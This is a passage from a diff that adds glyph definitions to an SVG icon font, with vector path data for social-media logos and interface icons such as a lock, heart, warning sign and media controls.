+c35.7119 -67.9678 139.648 -127.743 250.24 -127.743c329.088 0 552.448 300.159 552.448 701.823c0 303.744 -257.28 586.624 -648.192 586.624c-486.527 0 -731.904 -348.8 -731.904 -639.744c0 -176.128 66.5605 -332.928 209.664 -391.168
+c23.4248 -9.59961 44.416 -0.511719 51.2002 25.4727c4.73633 18.0479 16 63.4873 20.9922 82.1758c6.78418 25.7275 4.0957 34.6875 -14.8477 57.2158c-41.0879 48.6406 -67.4561 111.488 -67.4561 200.704c0 258.816 193.536 490.496 504.063 490.496
+c274.944 0 426.112 -168.064 426.112 -392.448c0 -295.296 -130.432 -544.384 -324.608 -544.384c-107.136 0 -187.264 88.5762 -161.664 197.12c30.7207 129.664 90.4961 269.824 90.4961 363.392c0 83.8398 -44.9277 153.729 -138.111 153.729
+c-109.44 0 -197.504 -113.28 -197.504 -265.088c0 -96.6406 32.7676 -162.049 32.7676 -162.049s-112.128 -474.88 -131.712 -557.951c-18.4316 -77.8242 -20.7363 -163.456 -17.9199 -235.137c-360.832 158.336 -612.992 518.784 -612.992 937.984
+c0 565.504 458.496 1024 1024 1024z" />
+    <glyph glyph-name="uniF437" unicode="&#xf437;" 
+d="M1280 1792c141.312 0 256 -114.688 256 -256v-1024c0 -141.312 -114.688 -256 -256 -256h-512c-141.312 0 -256 114.688 -256 256v1024c0 141.312 114.688 256 256 256h512zM1024 384c70.7842 0 128 57.2158 128 128s-57.2158 128 -128 128
+c-70.6562 0 -128 -57.2158 -128 -128s57.3438 -128 128 -128zM1408 768v768h-768v-768h768z" />
+    <glyph glyph-name="uniF468" unicode="&#xf468;" 
+d="M256 256v1536h256v-1536h-256zM1536 1664h256v-768h-256c-256 0 -256 128 -512 128s-256 -128 -384 -128v768c128 0 128 128 384 128s256 -128 512 -128z" />
+    <glyph glyph-name="uniF107" unicode="&#xf107;" 
+d="M1088 1792c176.768 0 320 -143.232 320 -320v-384c0 -131.2 -78.9756 -243.584 -192 -292.992v150.912c39.04 35.2002 64 85.6318 64 142.08v384c0 105.856 -86.1436 192 -192 192s-192 -86.1436 -192 -192v-384c0 -56.4482 24.96 -106.88 64 -142.08v-150.912
+c-112.896 49.4082 -192 161.792 -192 292.992v384c0 176.768 143.232 320 320 320zM960 1380.99c112.896 -49.4082 192 -161.792 192 -292.992v-384c0 -176.768 -143.232 -320 -320 -320s-320 143.232 -320 320v384c0 131.2 79.1035 243.584 192 292.992v-150.912
+c-39.04 -35.2002 -64 -85.6318 -64 -142.08v-384c0 -105.856 86.1436 -192 192 -192s192 86.1436 192 192v384c0 56.4482 -24.96 106.88 -64 142.08v150.912z" />
+    <glyph glyph-name="uniF442" unicode="&#xf442;" 
+d="M1280 640v256l128 128v-512h-896v896h512l-128 -128h-256v-640h640zM1024 1664h640v-640h-128v421.504l-549.504 -549.504l-90.4961 90.4961l549.504 549.504h-421.504v128z" />
+    <glyph glyph-name="uniF221" unicode="&#xf221;" 
+d="M1664 1024c0 -55.9355 -35.9678 -102.912 -85.8877 -120.32c13.8232 -20.6074 21.8877 -45.0557 21.8877 -71.6797c0 -55.8076 -35.9678 -102.784 -85.8877 -120.32c13.8232 -20.6074 21.8877 -45.0557 21.8877 -71.6797c0 -70.6562 -57.3438 -128 -128 -128h-64
+c70.6562 0 128 -57.3438 128 -128s-57.3438 -128 -128 -128h-448c-192 0 -256 128 -384 128h-128v640h192c128 0 320 256 320 640c0 0 0 128 64 128s192 -144 192 -320c0 -192 -32 -320 -32 -320h416c70.6562 0 128 -57.3438 128 -128z" />
+    <glyph glyph-name="uniF50A" unicode="&#xf50a;" 
+d="M1856 1024c35.3281 0 64 -28.6719 64 -64s-28.6719 -64 -64 -64h-204.928c-9.85645 -48.7676 -26.624 -94.5918 -46.8486 -138.624c116.608 -134.528 187.776 -309.376 187.776 -501.376v-64c0 -35.2002 -28.6719 -64 -64 -64s-64 28.7998 -64 64v64
+c0 144.896 -48.7676 277.888 -130.048 385.152c-116.736 -155.265 -300.672 -257.152 -509.952 -257.152c-208.768 0 -392.448 101.504 -509.312 256.128c-81.2803 -106.88 -130.688 -239.231 -130.688 -384.128v-64c0 -35.2002 -28.6719 -64 -64 -64s-64 28.7998 -64 64v64
+c0 192 71.2959 366.72 187.904 501.376c-20.3525 44.0322 -36.9922 89.8564 -46.9766 138.624h-204.928c-35.3281 0 -64 28.6719 -64 64s28.6719 64 64 64h192c0 61.6963 12.1602 119.936 29.0557 176c-98.1758 129.024 -157.056 289.408 -157.056 464v64
+c0 35.3281 28.6719 64 64 64s64 -28.6719 64 -64v-64c0 -353.408 286.592 -640 640 -640c353.536 0 640 286.592 640 640v64c0 35.3281 28.6719 64 64 64s64 -28.6719 64 -64v-64c0 -173.952 -58.4961 -333.824 -156.032 -462.592
+c17.2803 -56.3203 28.0322 -115.328 28.0322 -177.408h192zM1024 1152c-208.896 0 -388.352 126.08 -467.84 305.92c116.864 126.08 282.496 206.08 467.84 206.08c185.472 0 350.976 -80 467.84 -206.08c-79.4883 -179.84 -258.815 -305.92 -467.84 -305.92z" />
+    <glyph glyph-name="uniF455" unicode="&#xf455;" 
+d="M1024 1792c424.064 0 768 -343.936 768 -768s-343.936 -768 -768 -768c-424.192 0 -768 343.936 -768 768s343.808 768 768 768zM1024 1536c-70.7842 0 -128 -57.3438 -128 -128s57.2158 -128 128 -128c70.6562 0 128 57.3438 128 128s-57.3438 128 -128 128zM1280 512
+v128h-160v512h-320.128v-128h128.128v-384h-160v-128h512z" />
+    <glyph glyph-name="uniF223" unicode="&#xf223;" 
+d="M1105.28 1232.51v92.9287c0 44.1592 -36.4805 79.8711 -81.2803 79.8711s-81.2803 -35.7119 -81.2803 -79.8711l-0.383789 -481.024c-2.55957 -184.192 -155.008 -332.416 -342.912 -332.416c-189.696 0 -343.424 150.912 -343.424 337.28v209.151h262.784v-206.592
+c0 -43.9043 36.3516 -79.7441 81.2803 -79.7441c44.9277 0 81.2793 35.7119 81.2793 79.7441v487.168c6.65625 180.48 157.185 324.992 342.656 324.992c186.112 0 337.152 -145.536 342.656 -327.04v-106.624l-156.416 -45.8242zM1529.22 1058.43h262.784v-209.151
+c0 -186.368 -153.728 -337.28 -343.424 -337.28c-188.544 0 -341.632 149.376 -343.296 334.08v210.304l104.96 -48l156.288 45.8242v-211.84c0 -44.2881 36.3516 -80 81.4072 -80c44.9287 0 81.2803 35.7119 81.2803 80v216.063z" />
+    <glyph glyph-name="uniF212" unicode="&#xf212;" 
+d="M1658.75 1791.87c184.192 -5.37598 270.976 -123.776 260.352 -355.072c-7.93555 -172.928 -129.792 -409.472 -365.439 -710.016c-243.584 -313.729 -449.792 -470.784 -618.368 -470.784c-104.448 0 -192.896 95.6162 -264.96 286.72
+c-48.2559 175.232 -96.5117 350.336 -144.64 525.568c-53.6318 190.976 -111.232 286.592 -172.672 286.592c-13.4404 0 -60.416 -27.7764 -140.673 -83.584l-84.3516 107.648c88.4482 77.0557 175.616 154.111 261.504 231.168
+c117.888 100.991 206.464 154.111 265.472 159.487c139.521 13.3125 225.28 -81.2793 257.536 -283.392c34.8164 -218.24 58.8799 -353.92 72.4482 -407.04c40.1924 -180.992 84.4805 -271.36 132.736 -271.36c37.5039 0 93.8232 58.752 169.088 176.128
+c75.0078 117.376 115.2 206.849 120.576 268.16c10.624 101.376 -29.4404 152.192 -120.576 152.192c-43.0078 0 -87.2959 -9.98438 -132.736 -29.1846c88.0645 285.952 256.512 424.704 504.704 416.769z" />
+    <glyph glyph-name="uniF206" unicode="&#xf206;" 
+d="M571.904 570.112c-36.4805 0 -71.6807 -1.02441 -110.208 -1.02441c-127.36 0 -240.513 -32 -333.696 -83.3281v484.864c78.0801 -78.208 189.696 -126.208 329.984 -126.336c20.2236 0 39.6797 1.02344 58.8799 2.43164
+c-18.8164 -35.9678 -32.2559 -76.1602 -32.2559 -118.271c0 -70.9121 39.04 -111.36 87.2959 -158.336zM575.232 937.088c-163.584 4.86426 -319.104 155.008 -347.265 369.792c-28.2881 214.912 81.4082 379.264 244.992 374.4
+c163.584 -4.86426 303.488 -181.12 331.648 -396.032c28.2881 -214.784 -65.9199 -353.024 -229.376 -348.16zM965.504 217.856c4.99219 -21.248 7.80762 -43.1367 7.80762 -65.5361c0 -8.19238 -0.639648 -16.2559 -1.02344 -24.3203h-588.288
+c-115.328 0 -211.712 76.7998 -243.712 181.504c74.8799 110.72 228.224 189.824 401.408 187.904c56.832 -0.640625 109.823 -9.72852 157.952 -25.3438c132.352 -91.9043 238.976 -149.376 265.855 -254.208zM1920 1536h-256v256h-128v-256h-256v-128h256v-256h128v256
+h256v-1024.13c0 -141.312 -114.688 -256 -256 -256h-506.624c2.55957 16.7676 4.22363 33.5361 4.22363 50.3037c0 183.937 -39.6797 276.48 -235.647 423.424c-56.1924 42.2402 -178.688 128.769 -178.688 186.881c0 67.9678 19.4561 101.632 121.856 181.504
+c104.96 82.0479 179.328 190.208 179.328 324.352c0 146.176 -59.7764 278.912 -172.16 343.296h159.36l135.68 142.464h-606.977c-174.336 0 -332.159 -72.832 -436.352 -181.376v65.2803c0 141.312 114.688 256 256 256h1280c141.312 0 256 -114.688 256 -256v-128z" />
+    <glyph glyph-name="uniF407" unicode="&#xf407;" 
+d="M1280 1536l256 -128v-128h-128h-128h-128h-128h-128h-128h-128h-128h-128v128l256 128c0 70.7842 57.3438 128 128 128h384c70.7842 0 128 -57.2158 128 -128zM1088 1408c35.3281 0 64 28.6719 64 64s-28.6719 64 -64 64h-256c-35.3281 0 -64 -28.6719 -64 -64
+s28.6719 -64 64 -64h256zM1280 1216h128v-704c0 -70.7842 -57.2158 -128 -128 -128h-640c-70.6562 0 -128 57.2158 -128 128v704h128v-704h128v704h128v-704h128v704h128v-704h128v704z" />
+    <glyph glyph-name="uniF414" unicode="&#xf414;" 
+d="M1996.03 601.984c116.992 -190.208 29.6953 -345.984 -193.536 -345.984h-1556.99c-223.231 0 -310.528 155.776 -193.536 345.984l759.552 1236.99c116.864 190.336 308.097 190.336 424.961 0zM1024 512c70.7842 0 128 57.2158 128 128s-57.2158 128 -128 128
+c-70.6562 0 -128 -57.2158 -128 -128s57.3438 -128 128 -128zM1113.22 896l51.584 640h-281.6l51.2002 -640h178.815z" />
+    <glyph glyph-name="uniF50E" unicode="&#xf50e;" 
+d="M384 896v256h1280v-256h-1280z" />
+    <glyph glyph-name="uniF461" unicode="&#xf461;" 
+d="M1024 384l-647.552 612.992c-149.376 141.312 -161.408 383.231 -27.1367 540.288c134.4 157.184 364.416 169.855 513.792 28.5439l160.896 -152.32l160.768 152.32c149.248 141.184 379.393 128.64 513.792 -28.5439
+c134.656 -157.057 122.368 -398.977 -27.0078 -540.416z" />
+    <glyph glyph-name="uniF470" unicode="&#xf470;" 
+d="M1536 1152c70.7842 0 128 -57.3438 128 -128v-640c0 -70.7842 -57.2158 -128 -128 -128h-1024c-70.6562 0 -128 57.2158 -128 128v640c0 70.6562 57.3438 128 128 128v128c0 282.752 229.248 512 512 512s512 -229.248 512 -512v-128zM768 1152h512v128
+c0 141.312 -114.688 256 -256 256s-256 -114.688 -256 -256v-128z" />
+    <glyph glyph-name="uniF50C" unicode="&#xf50c;" 
+d="M1479.55 819.2c98.5605 -32 203.137 -51.2002 312.448 -51.2002v-512c-848.256 0 -1536 687.744 -1536 1536h512c0 -162.048 38.5283 -314.752 105.856 -450.816l-189.185 -189.184c136.192 -235.008 344.96 -422.4 595.328 -532.224z" />
+    <glyph glyph-name="uniF220" unicode="&#xf220;" 
+d="M1856.77 834.048c32.3848 -65.6641 50.6885 -138.88 50.3047 -217.344c0 -269.696 -218.88 -488.704 -488.576 -488.704c-83.584 0 -161.92 21.376 -230.656 58.1123c-50.4316 -8.83203 -102.016 -13.8242 -154.496 -13.8242
+c-465.279 0 -842.624 377.216 -842.624 842.496c0 58.2402 6.14453 114.688 17.2803 169.6c-42.4961 72.1924 -67.0723 156.8 -67.0723 246.912c0 269.824 218.88 488.704 488.704 488.704c95.7441 0 184.704 -27.3916 260.225 -75.0078
+c46.4639 7.80762 94.5918 12.416 143.871 12.416c465.408 0 842.624 -377.344 842.624 -842.624c0 -62.0801 -6.65527 -122.752 -19.584 -180.736zM1466.11 612.096c38.9121 55.5527 58.624 118.656 58.752 188.16c0 58.2402 -11.2646 107.904 -34.1758 148.353
+c-22.9121 40.3193 -54.7842 73.8555 -95.2324 100.224c-39.168 25.7275 -87.8076 48.1279 -143.744 66.0479c-55.4238 17.9199 -118.271 34.1758 -186.496 48.6396c-53.7598 12.416 -93.0557 21.8887 -116.479 28.6729c-23.04 6.14355 -45.4404 15.2314 -67.8398 26.3672
+c-21.8887 10.624 -38.5283 23.5527 -50.4326 38.0166c-11.1357 13.9521 -16.7676 30.3359 -16.7676 49.2803c0 31.2314 16.8955 57.4717 52.2236 80.5117c36.3525 23.5518 85.6318 35.9678 146.048 35.9678c64.8965 0 112.384 -11.2637 140.544 -32.6396
+c29.1846 -21.6318 54.2725 -53.6318 75.5205 -93.3125c18.5596 -31.3594 34.9434 -53.248 50.6875 -67.2002c16.3838 -14.5918 40.5762 -22.3994 71.9365 -22.3994c34.9434 0 63.8721 12.416 86.9121 36.4795c23.04 23.4248 34.6875 50.8164 34.6875 81.1523
+c0 31.3604 -9.08789 63.3604 -25.2158 95.7441c-17.2803 32.3838 -44.7998 63.1035 -81.9199 92.2881c-36.8643 28.5439 -83.8398 52.0957 -139.008 69.5039c-55.8086 16.7676 -121.729 25.5996 -196.736 25.5996c-94.7197 0 -177.536 -13.1836 -247.424 -39.04
+c-70.5283 -26.3682 -125.952 -64.3838 -163.584 -113.664c-38.0166 -49.2793 -56.96 -106.496 -56.96 -170.239c0 -67.2002 17.792 -123.776 54.2715 -169.217c35.0723 -44.1592 83.9688 -79.8721 144.385 -105.728c58.752 -25.2158 133.247 -47.3604 220.672 -66.0479
+c64.2559 -13.3125 115.712 -26.2402 154.239 -38.0166c36.8643 -11.2637 67.3281 -27.9033 89.9844 -49.2793c22.1436 -20.7363 32.6396 -46.9766 32.6396 -80.1279c0 -42.3682 -20.2236 -76.8008 -62.0801 -105.345c-43.1357 -29.0557 -100.352 -43.9033 -169.728 -43.9033
+c-50.9443 0 -92.416 7.16797 -122.624 21.6318c-30.3359 13.9521 -54.2715 32.5117 -70.5283 54.2715c-17.2793 22.6562 -33.4072 51.4561 -48.6396 85.7607c-13.4404 31.3594 -29.5684 55.8076 -49.2803 72.0635c-20.7354 17.2803 -45.3115 25.7285 -74.4961 25.7285
+c-35.0713 0 -64.7676 -10.3682 -87.8076 -32.3848c-23.5518 -21.8877 -35.3281 -48.6396 -35.3281 -79.6152c0 -48.8965 17.9199 -100.608 53.8877 -152.192c35.0723 -50.9443 82.3047 -92.416 138.752 -123.136c79.3604 -41.8564 180.864 -63.1045 301.696 -63.1045
+c100.736 0 189.44 15.4883 263.04 46.208c75.3926 30.9766 132.225 74.4961 171.648 129.92z" />
+    <glyph glyph-name="uniF415" unicode="&#xf415;" 
+d="M1408 1024h512v-256h-310.016c-98.8164 -225.92 -323.584 -384 -585.984 -384c-176.768 0 -335.488 72.832 -451.072 188.928l0.640625 0.640625c-50.0488 50.0479 -50.0488 130.943 0 180.991c50.0479 50.0488 130.943 50.1768 180.991 0
+c69.376 -69.6318 163.456 -114.56 269.44 -114.56c212.096 0 384 171.904 384 384zM1024 1408c-212.096 0 -384 -171.904 -384 -384h-512v256h310.016c98.8164 225.92 323.712 384 585.984 384c176.896 0 335.488 -72.96 451.072 -188.928
+c50.0479 -50.0479 50.0479 -130.944 0 -180.992s-130.944 -50.0479 -180.992 0l-0.639648 -0.639648c-69.376 69.6318 -163.328 114.56 -269.44 114.56zM832 1024c0 106.112 86.0156 192 192 192c106.112 0 192 -85.8877 192 -192s-85.8877 -192 -192 -192
+c-105.984 0 -192 85.8877 -192 192z" />
+    <glyph glyph-name="uniF207" unicode="&#xf207;" 
+d="M604.672 256h-329.216v990.72h329.216v-990.72zM440.064 1381.89h-2.04883c-110.464 0 -182.016 76.1602 -182.016 171.137c0 97.1514 73.5996 171.136 186.368 171.136c112.512 0 181.888 -74.1123 184.063 -171.136c0 -94.9766 -71.5518 -171.137 -186.367 -171.137z
+M1792 256h-329.216v530.048c0 133.12 -47.3604 224 -166.656 224c-91.1357 0 -145.28 -61.1836 -169.088 -120.32c-8.57617 -21.2471 -10.752 -50.9434 -10.752 -80.5117v-553.216h-329.344s4.35156 897.792 0 990.72h329.344v-140.416
+c43.7764 67.4561 121.984 163.584 296.448 163.584c216.704 0 379.264 -141.567 379.264 -445.823v-568.064z" />
+    <glyph glyph-name="uniF500" unicode="&#xf500;" 
+d="M2048 0h-1920l960 959.872z" />
+    <glyph glyph-name="uniF302" unicode="&#xf302;" 
+d="M1024 1536h512v-512l-768 -768l-512 512zM1280 1152c70.7842 0 128 57.2158 128 128s-57.2158 128 -128 128s-128 -57.2158 -128 -128s57.2158 -128 128 -128z" />
+    <glyph glyph-name="uniF108" unicode="&#xf108;" 
+d="M1664 1536c141.312 0 256 -114.688 256 -256v-384c0 -141.312 -114.688 -256 -256 -256h-128v-448l-448 448h-331.008l128 128h395.008c211.712 0 384 172.288 384 384v384zM1280 1792c141.312 0 256 -114.688 256 -256v-384c0 -141.312 -114.688 -256 -256 -256h-448
+l-448 -448v448h-128c-141.312 0 -256 114.688 -256 256v384c0 141.312 114.688 256 256 256h1024z" />
+    <glyph glyph-name="uniF405" unicode="&#xf405;" 
+d="M1536 1408l-320 -320l320 -320l-128 -128l-320 320l-320 -320l-128 128l320 320l-320 320l128 128l320 -320l320 320z" />
+    <glyph glyph-name="uniF501" unicode="&#xf501;" 
+d="M0 128v1920l960 -960z" />
+    <glyph glyph-name="uniF50D" unicode="&#xf50d;" 
+d="M1024.13 896c-105.984 0 -192.128 86.0156 -192.128 192v512c0 105.856 86.1436 192 192.128 192c106.112 0 191.872 -86.1436 191.872 -192v-512c0 -105.984 -85.7598 -192 -191.872 -192zM1401.47 1024h192c-27.3916 -244.48 -206.464 -441.984 -441.472 -496v-272
+h-256v272c-234.88 54.0156 -414.08 251.52 -441.472 496h192c30.5918 -181.504 187.52 -320 377.472 -320c190.208 0 347.008 138.496 377.472 320z" />
+    <glyph glyph-name="uniF503" unicode="&#xf503;" 
+d="M2048 2048v-1920l-960 960z" />
+    <glyph glyph-name="uniF101" unicode="&#xf101;" 
+d="M1024 1792c424.064 0 768 -343.936 768 -768s-343.936 -768 -768 -768s-768 343.936 -768 768s343.936 768 768 768zM1024 768c141.312 0 256 114.688 256 256s-114.688 256 -256 256s-256 -114.688 -256 -256s114.688 -256 256 -256z" />
+    <glyph glyph-name="uniF204" unicode="&#xf204;" 
+d="M1182.21 1271.81h328.704l-14.4639 -302.72h-314.24v-841.088h-320.128v841.088h-222.08v302.72h222.08v258.561c0 203.008 131.456 389.632 434.176 389.632c122.496 0 212.992 -11.6484 212.992 -11.6484l-7.04004 -282.624s-92.5439 0.640625 -193.536 0.640625
+c-108.928 0 -126.464 -50.3037 -126.464 -133.504c0 -12.416 0 -15.3604 0 -13.9521v-207.104z" />
+    <glyph glyph-name="uniF444" unicode="&#xf444;" 
+d="M1600 640c-70.7842 0 -128 -57.2158 -128 -128s57.2158 -128 128 -128h64v-128h-1024c-141.312 0 -256 114.688 -256 256v1024c0 141.312 114.688 256 256 256h1024v-1152h-64zM640 384h817.92c-30.7197 34.0479 -49.9199 78.5918 -49.9199 128
+s19.2002 93.9521 49.9199 128h-817.92c-70.6562 0 -128 -57.2158 -128 -128s57.3438 -128 128 -128z" />
+    <glyph glyph-name="uniF416" unicode="&#xf416;" 
+d="M1088 1792c176.768 0 320 -143.232 320 -320v-640c0 -247.424 -200.576 -448 -448 -448s-448 200.576 -448 448v320h128v-320c0 -176.768 143.232 -320 320 -320c176.64 0 320 143.232 320 320v640c0 105.984 -86.0156 192 -192 192c-106.112 0 -192 -86.0156 -192 -192
+v-512c0 -35.3281 28.6719 -64 64 -64s64 28.6719 64 64v451.968h128v-451.968c0 -105.984 -86.0156 -192 -192 -192c-106.112 0 -192 86.0156 -192 192v512c0 176.768 143.232 320 320 320z" />
+    <glyph glyph-name="uniF459" unicode="&#xf459;" 
+d="M1920 1664v-1280l-768 480v-480l-1024 640l1024 640v-480z" />
+    <glyph glyph-name="uniF441" unicode="&#xf441;" 
+d="M1664 1024c141.312 0 256 -114.688 256 -256s-114.688 -256 -256 -256h-512v256h256l-384 384l-384 -384h256v-256h-512c-141.312 0 -256 114.688 -256 256s114.688 256 256 256h6.40039c-4.09668 20.7363 -6.40039 42.1123 -6.40039 64c0 176.768 143.232 320 320 320
+c89.3438 0 169.984 -36.7363 227.968 -95.8721c60.7998 131.84 193.408 223.872 348.032 223.872c211.968 0 384 -171.904 384 -384c0 -45.1836 -9.21582 -87.8076 -23.5518 -128h23.5518z" />
+    <glyph glyph-name="uniF506" unicode="&#xf506;" 
+d="M768 1920l489.344 -489.472l-640 -640l-268.928 269.056c-49.792 49.792 -49.792 131.2 0 180.992l292.864 292.735l-1.28027 2.68848s128 128 128 384zM1738.24 565.76c33.1514 -32.7676 53.7598 -78.208 53.7598 -128.64c0 -99.9678 -81.1523 -181.12 -181.12 -181.12
+c-50.4316 0 -95.7441 20.6084 -128.64 53.7598l-330.24 330.24v128l-64 64c-35.2002 35.2002 -104.704 23.2959 -154.496 -26.4961l-75.0078 -75.0078c-49.792 -49.792 -131.2 -49.792 -180.992 0l-14.8477 14.8477l640 640l14.8477 -14.8477
+c49.792 -49.792 49.792 -131.2 0 -180.992l-75.0078 -75.0078c-49.792 -49.792 -61.6963 -119.296 -26.4961 -154.496l64 -64h128zM1610.88 373.12c35.3281 0 64 28.6719 64 64s-28.6719 64 -64 64s-64 -28.6719 -64 -64s28.6719 -64 64 -64z" />
+    <glyph glyph-name="uniF105" unicode="&#xf105;" 
+d="M1408 1408c0 -167.04 -107.264 -307.584 -256 -360.448v-535.552l-256 -128v663.552c-148.864 52.8643 -256 193.408 -256 360.448c0 212.096 171.904 384 384 384c211.968 0 384 -171.904 384 -384z" />
+    <glyph glyph-name="uniF473" unicode="&#xf473;" 
+d="M384 1664h1280v-1280h-1280v1280zM768 1408c-70.6562 0 -128 -57.3438 -128 -128s57.3438 -128 128 -128s128 57.3438 128 128s-57.3438 128 -128 128zM1536 512v576l-128 192l-448 -672l-192 288l-256 -384h1024z" />
+    <glyph glyph-name="uniF452" unicode="&#xf452;" 
+d="M512 1664l1024 -640l-1024 -640v1280z" />
+    <glyph glyph-name="uniF408" unicode="&#xf408;" 
+d="M1792 1150.72l-475.904 -329.983l182.528 -535.04l-474.624 331.903l-474.624 -331.903l182.528 535.04l-475.904 329.983l587.52 -1.02344l180.48 535.68l180.48 -535.68z" />
+    <glyph glyph-name="uniF450" unicode="&#xf450;" 
+d="M768 1024l1024 640v-1280zM256 384v1280h384v-1280h-384z" />
+    <glyph glyph-name="uniF517" unicode="&#xf517;" 
+d="M1408 1152l384 384v-1024l-384 384v-256c0 -70.7842 -57.2158 -128 -128 -128h-896c-70.6562 0 -128 57.2158 -128 128v768c0 70.6562 57.3438 128 128 128h896c70.7842 0 128 -57.3438 128 -128v-256z" />
+    <glyph glyph-name="uniF106" unicode="&#xf106;" 
+d="M256 896v640h640v-640c0 -282.752 -229.248 -512 -512 -512v256c141.312 0 256 114.688 256 256h-384zM1152 1536h640v-640c0 -282.752 -229.248 -512 -512 -512v256c141.312 0 256 114.688 256 256h-384v640z" />
+    <glyph glyph-name="uniF208" unicode="&#xf208;" 
+d="M1664 1920c141.312 0 256 -114.688 256 -256v-1280c0 -141.312 -114.688 -256 -256 -256h-1280c-141.312 0 -256 114.688 -256 256v1280c0 141.312 114.688 256 256 256h1280zM663.168 384v792.96h-263.552v-792.96h263.552zM531.328 1285.25
+c91.9043 0 149.12 60.9277 149.12 136.96c-1.66406 77.6963 -57.2158 136.96 -147.328 136.96c-90.2402 0 -149.12 -59.2637 -149.12 -136.96c0 -76.0322 57.2158 -136.96 145.664 -136.96h1.66406zM1613.44 384v454.656c0 243.456 -130.049 356.863 -303.488 356.863
+c-139.776 0 -202.496 -76.9277 -237.44 -130.943v112.384h-263.552c3.45605 -74.3682 0 -792.96 0 -792.96h263.552v442.88c0 23.6797 1.79199 47.3604 8.57617 64.1279c19.0723 47.3604 62.4639 96.3838 135.296 96.3838c95.4883 0 133.504 -72.7031 133.504 -179.199
+v-424.192h263.553z" />
+    <glyph glyph-name="uniF304" unicode="&#xf304;" 
+d="M1024 1152c-141.312 0 -256 114.688 -256 256s114.688 256 256 256s256 -114.688 256 -256s-114.688 -256 -256 -256zM1152 1024c211.968 0 384 -171.904 384 -384v-256h-1024v256c0 212.096 172.032 384 384 384h256z" />
+    <glyph glyph-name="uniF225" unicode="&#xf225;" 
+d="M655.104 1857.54l368.896 -307.968l-531.456 -328.192l-364.544 291.84zM128 929.536l364.544 291.84l531.456 -328.064l-368.896 -308.096zM1024 893.312l531.456 328.064l364.544 -291.84l-527.232 -344.32zM1920 1513.22l-364.544 -291.84l-531.456 328.192
+l368.768 307.968zM1025.02 826.88l369.92 -306.944l158.464 103.297v-115.713l-528.384 -317.056l-528.257 317.056v115.713l158.336 -103.297z" />
+    <glyph glyph-name="uniF103" unicode="&#xf103;" 
+d="M1152 1408h896v-896h-896v896zM128 1024v384h896v-384h-896zM640 512v384h384v-384h-384zM128 512v384h384v-384h-384z" />
+    <glyph glyph-name="uniF431" unicode="&#xf431;" 
+d="M1408 1280l128 -128l-576 -576l-576 576l128 128l448 -448z" />
+    <glyph glyph-name="uniF200" unicode="&#xf200;" 
+d="M1024 2048c565.504 0 1024 -458.496 1024 -1024c0 -452.224 -293.12 -835.712 -699.776 -971.392c-51.9678 -9.98438 -70.3994 21.7598 -70.3994 49.2793c0 33.4082 1.2793 144 1.2793 280.704c0 95.7441 -32.7676 158.208 -69.5039 189.696
+c228.097 25.3438 467.456 112 467.456 505.344c0 111.744 -39.5518 203.136 -105.088 274.688c10.4961 25.8555 45.6963 130.048 -10.2402 270.976c0 0 -85.8877 27.5205 -281.344 -104.96c-81.792 22.7842 -169.344 34.0479 -256.384 34.4316
+c-87.04 -0.383789 -174.592 -11.6475 -256.384 -34.4316c-195.584 132.48 -281.601 104.96 -281.601 104.96c-55.6797 -140.928 -20.4795 -244.992 -9.85547 -270.976c-65.5361 -71.5527 -105.472 -162.944 -105.472 -274.688c0 -392.32 239.104 -480.384 466.432 -506.112
+c-29.3125 -25.7275 -55.6797 -70.6553 -65.0244 -136.96c-58.2393 -26.2393 -206.72 -71.2959 -297.983 85.248c0 0 -54.1445 98.1768 -156.929 105.473c0 0 -100.096 1.2793 -7.04004 -62.208c0 0 67.0723 -31.4883 113.664 -150.017c0 0 60.0322 -198.912 344.96 -137.216
+c0.512695 -85.248 1.4082 -149.76 1.4082 -173.952c0 -27.2637 -18.6875 -58.752 -69.8877 -49.5361c-406.912 135.425 -700.288 519.168 -700.288 971.648c0 565.504 458.496 1024 1024 1024z" />
+    <glyph glyph-name="uniF421" unicode="&#xf421;" 
+d="M384 896v256h1152v-256h-1152z" />
+    <glyph glyph-name="uniF454" unicode="&#xf454;" 
+d="M640 896v128h-512v256h512v128l384 -256zM1536 2048c141.312 0 256 -114.688 256 -256v-1536c0 -141.312 -114.688 -256 -256 -256h-1024c-141.312 0 -256 114.688 -256 256v640h256v-384h1024v1280h-1024v-384h-256v384c0 141.312 114.688 256 256 256h1024zM1024 128
+c70.7842 0 128 57.2158 128 128s-57.2158 128 -128 128c-70.6562 0 -128 -57.2158 -128 -128s57.3438 -128 128 -128z" />
+    <glyph glyph-name="uniF213" unicode="&#xf213;" 
+d="M1536 1664c211.968 0 384 -171.904 384 -384v-512c0 -212.096 -172.032 -384 -384 -384h-1024c-212.096 0 -384 171.904 -384 384v512c0 212.096 171.904 384 384 384h1024zM768 640l640 384l-640 384v-768z" />
+    <glyph glyph-name="uniF401" unicode="&#xf401;" 
+d="M1297.15 878.848l494.848 -494.848l-128 -128l-494.848 494.848c-94.8486 -68.9912 -210.816 -110.848 -337.152 -110.848c-318.08 0 -576 257.92 -576 576s257.92 576 576 576s576 -257.92 576 -576c0 -126.336 -41.8564 -242.304 -110.848 -337.152zM832 768
+c247.552 0 448 200.576 448 448s-200.448 448 -448 448c-247.424 0 -448 -200.576 -448 -448s200.576 -448 448 -448zM512 1152v128h640v-128h-640z" />
+    <glyph glyph-name="uniF436" unicode="&#xf436;" 
+d="M512 1408v128h128v-128h-128zM768 1408v128h128v-128h-128zM1024 1408v128h128v-128h-128zM1280 1536h128v-128h-128v128zM512 1152v128h128v-128h-128zM768 1152v128h128v-128h-128zM1024 1152v128h128v-128h-128zM1280 1152v128h128v-128h-128zM512 896v128h128v-128
+h-128zM768 896v128h128v-128h-128zM1024 896v128h128v-128h-128zM1280 896v128h128v-128h-128zM512 640v128h128v-128h-128zM768 640v128h128v-128h-128zM1024 640v128h128v-128h-128zM1280 640v128h128v-128h-128z" />
+    <glyph glyph-name="uniF434" unicode="&#xf434;" 
+d="M1152 0l896 896v-896h-896z" />
+    <glyph glyph-name="uniF303" unicode="&#xf303;" 
+d="M960 1792c388.736 0 704 -315.136 704 -704c0 -388.736 -315.264 -704 -704 -704c-388.864 0 -704 315.264 -704 704c0 388.864 315.136 704 704 704zM960 512c317.952 0 576 257.92 576 576s-258.048 576 -576 576c-318.08 0 -576 -257.92 -576 -576
+s257.92 -576 576 -576zM1024 1536v-421.504l297.984 -297.984l-90.4961 -90.4961l-335.488 335.488v474.496h128z" />
+    <glyph glyph-name="uniF464" unicode="&#xf464;" 
